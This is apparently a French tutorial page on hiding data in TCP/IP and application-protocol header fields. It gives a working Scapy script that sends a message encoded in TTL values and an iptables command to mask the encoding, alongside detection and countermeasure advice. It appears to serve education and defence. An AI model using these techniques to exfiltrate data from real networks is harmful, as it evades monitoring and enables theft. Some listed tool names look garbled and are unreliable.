Champs IP exploitables
L'en-tête IP (version 4) contient 20 octets de champs standard dont plusieurs peuvent être détournés pour transporter des données cachées. Ces techniques ont été documentées dès 1996 par Craig Rowlanddans le paper "Covert Channels in the TCP/IP Protocol Suite".
IP TTL (Time To Live)
8 bitsDétection FAIBLEEncoder des bits dans les bits de poids faible du TTL. Valeurs normales : 64 (Linux), 128 (Windows), 255 (Cisco). Variation minimale imperceptible.
IP Identification
16 bitsDétection ÉLEVÉL'IP ID est censé être un identifiant de datagramme unique. Encoder le message directement dans ce champ (Rowland 1996). Très facile à détecter.
Type of Service (ToS/DSCP)
8 bitsDétection MOYENChamp rarement utilisé en pratique. Les bits DSCP non standard peuvent transporter des données sans impact fonctionnel sur le routage.
Fragment Offset
13 bitsDétection FAIBLEPour des paquets non fragmentés (DF bit = 1), le fragment offset est toujours 0. Encoder dans ce champ tout en maintenant DF=1.
# Covert channel via IP TTL (Python + Scapy)
from scapy.all import *
def send_bit(bit, dst_ip):
# TTL pair = bit 0, TTL impair = bit 1
ttl = 64 if bit == 0 else 65
pkt = IP(dst=dst_ip, ttl=ttl) / TCP(dport=80) / Raw(b"GET / HTTP/1.0\r\n\r\n")
send(pkt, verbose=False)
def encode_message(message, dst_ip):
bits = ''.join(format(ord(c), '08b') for c in message)
for bit in bits:
send_bit(int(bit), dst_ip)Champs TCP exploitables
Numéro de séquence initial (ISN)
32 bitsDétection MOYENLe SYN packet contient un numéro de séquence initial normalement aléatoire. Encoder le message dans ce champ — Rowland (1996) technique 2. Le serveur ne vérifie pas cette valeur.
Urgent Pointer
16 bitsDétection FAIBLEValide uniquement si le flag URG est positionné. Sans URG, ce champ peut contenir n'importe quelle valeur — encodable sans impact fonctionnel.
Options TCP (padding)
VariableDétection MOYENLes options TCP incluent des champs de padding NOP (0x01) pour l'alignement. Remplacer certains NOP par d'autres valeurs encode des données.
Bit réservé (bit 4 du flags)
1 bitDétection TRÈS FAIBLEBit historiquement réservé et toujours à 0. Encodage un bit par paquet — très faible capacité mais très difficile à détecter.
Canaux au niveau applicatif
Au-delà de TCP/IP, les protocoles applicatifs offrent également des vecteurs de stéganographie réseau.
HTTP User-Agent
HTTPChamp User-Agent arbitraire → encoder un message dans l'ordre des produits, les numéros de version ou les tokens optionnels. Passe quasi tous les firewalls.
HTTP/2 Header Ordering
HTTP/2L'ordre des headers HTTP/2 est significatif pour l'encodage mais pas pour la sémantique. Encoder des bits dans la permutation des headers.
ICMP Payload
ICMPLes paquets ICMP Echo (ping) acceptent un payload arbitraire. Cacher des données dans ce payload — technique classique des RAT et tunnels ICMP.
DNS (voir technique dédiée)
DNSSous-domaines encodés, TTL des réponses, champs TXT. DNS est le vecteur le plus utilisé par les C2 modernes. Voir la technique DNS Stego.
Outils réels
Outils open source (usage légal / éducatif / CTF) : Scapy (Python) : → Forger des paquets avec n'importe quel champ personnalisé → from scapy.all import IP, TCP, send Ncat --proxy / Netcat : → Tunnels simples pour tester la connectivité → Pas de stéganographie native mais utile pour les tests Covertagram / Covert_TCP : → Implémentations de référence des techniques de Rowland → GitHub : covert_tcp.c (code source original 1996) Packettracert (Wireshark) : → Analyse des champs inhabituels dans les captures réseau → Filtre : ip.ttl == 65 || ip.ttl == 64 avec alternance Netfilter / iptables : → Modifier les TTL/IP ID à la sortie pour masquer l'encodage → iptables -t mangle -A OUTPUT -j TTL --ttl-set 64
Détection et contre-mesures
La détection des covert channels réseau repose sur l'analyse comportementale plutôt que sur l'inspection du contenu (chiffré ou non). Les signatures de trafic anormal incluent : distribution inhabituelle des TTL, IP ID non aléatoires ou séquentiels, urgent pointer toujours non-zéro.
Analyse TTL
TTL oscillant entre deux valeurs (64/65) plutôt qu'une valeur stable → signal de covert channel.
IP ID séquentiel
IP ID incrémentant régulièrement = comportement normal. IP ID contenant un pattern encodé = anormal.
Normalisation réseau
Les pare-feux peuvent normaliser les champs sensibles (réécrire TTL, randomiser IP ID) — éliminant le canal.
Deep Packet Inspection
DPI analysant la distribution statistique des champs de header peut détecter les covert channels même chiffrés.
⚠ Usage légal uniquement. Les covert channels réseau sont utilisés par des APT et des malwares (ex : Stuxnet, APT28) pour exfiltrer des données sans déclencher les IDS. L'étude de ces techniques est essentielle pour les équipes de défense.
Questions fréquentes
C'est quoi un 'canal caché' réseau en termes simples ?
Un canal caché utilise un champ réseau prévu pour autre chose pour transmettre des données secrètes. Le champ TTL d'un paquet IP est censé décroître à chaque routeur — mais sa valeur initiale peut encoder des bits. C'est comme cacher un message dans la police de caractères d'une lettre plutôt que dans son texte.
Est-ce légal d'utiliser des canaux cachés réseau ?
Sur votre propre réseau ou avec autorisation explicite (tests de pénétration, red teaming) : oui. Sur Internet ou un réseau d'entreprise sans autorisation : illégal dans la plupart des pays. Les canaux cachés réseau sont aussi des indicateurs d'infection malveillante surveillés par les équipes SOC.
Comment se protéger contre les covert channels réseau ?
Normalisation des champs réseau par des dispositifs DPI (Deep Packet Inspection) : fixer le TTL à une valeur standard, supprimer les champs IP ID inhabituels, réinitialiser les valeurs TOS. Les NGFW (Next-Gen Firewalls) et solutions NDR (Network Detection and Response) incluent ces protections.
Dans quel contexte un débutant peut-il expérimenter légalement ?
En lab isolé (machines virtuelles sur un réseau local non connecté à internet), dans des CTF (les challenges réseau incluent parfois des canaux cachés), ou via des plateformes d'entraînement légales (HackTheBox, TryHackMe). Scapy (Python) permet d'expérimenter facilement en environnement contrôlé.
Quel protocole réseau est le plus utilisé pour les canaux cachés ?
ICMP (ping) est classique car toujours autorisé, DNS est très populaire (voir la page DNS Steganography), et TCP/IP offrent de nombreux champs utilisables (TTL, IP ID, numéros de séquence). Les attaquants préfèrent les protocoles difficiles à bloquer sans casser la connectivité.
Technique réseau connexe
Découvrez DNS Steganography, le vecteur réseau le plus utilisé par les C2 modernes.